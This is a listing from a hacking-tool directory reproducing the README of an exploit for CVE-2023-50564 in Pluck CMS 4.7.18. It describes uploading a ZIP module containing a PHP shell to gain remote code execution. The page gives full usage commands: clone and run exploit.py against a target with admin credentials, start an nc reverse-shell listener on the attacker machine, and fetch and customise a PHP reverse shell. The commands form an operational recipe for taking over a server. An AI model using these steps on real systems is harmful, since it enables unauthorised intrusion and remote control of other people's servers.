Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-50564 — Pluck v4.7.18 - Remote Code Execution (RCE) | Kitploit
Tools/GitHubGitHub/glynzr/cve-2023-50564
Payload GenerationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubglynzr/cve-2023-50564

CVE-2023-50564

Pluck v4.7.18 - Remote Code Execution (RCE)

View Repository
1 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-50564

📌 Description

This exploit allows an authenticated admin in Pluck CMS v4.7.18 to upload a malicious ZIP module containing a PHP shell, resulting in remote code execution (RCE).


⚙️ Features

  • Authenticates to the target using a valid username and password
  • Automatically creates a ZIP archive from a provided PHP file
  • Uploads the module to the vulnerable installmodule endpoint
  • Triggers the payload and displays the output
  • Supports custom target, port, credentials, and shell path

🚀 Usage

root@kitploit:~
git clone https://github.com/glynzr/CVE-2023-50564.git
cd CVE-2023-50564
pip3 install -r requirements.txt

python3 exploit.py -h
root@kitploit:~
python3 exploit.py -t <target> -u <username> -pass <password> -path <path_to_php_shell> [-p <port>]
  • The port is optional and defaults to 80 if not specified.
  • When specifying the target, the IP address or domain name is required (e.g., 127.0.0.1 or test.domain).

Sample exploit

First, reverse shell listener should be started on attacker machine(this tab on the terminal should not be terminated):

root@kitploit:~
nc -nvlp <specify port>

Then, download php reverse shell from https://github.com/pentestmonkey/php-reverse-shell and customize it according to attacker machine. (IP,port)

Run the exploit code on another tab:

root@kitploit:~
python3 exploit.py -t test.com -u admin -pass samplepassword -path ../php-reverse-shell.php
Download Tool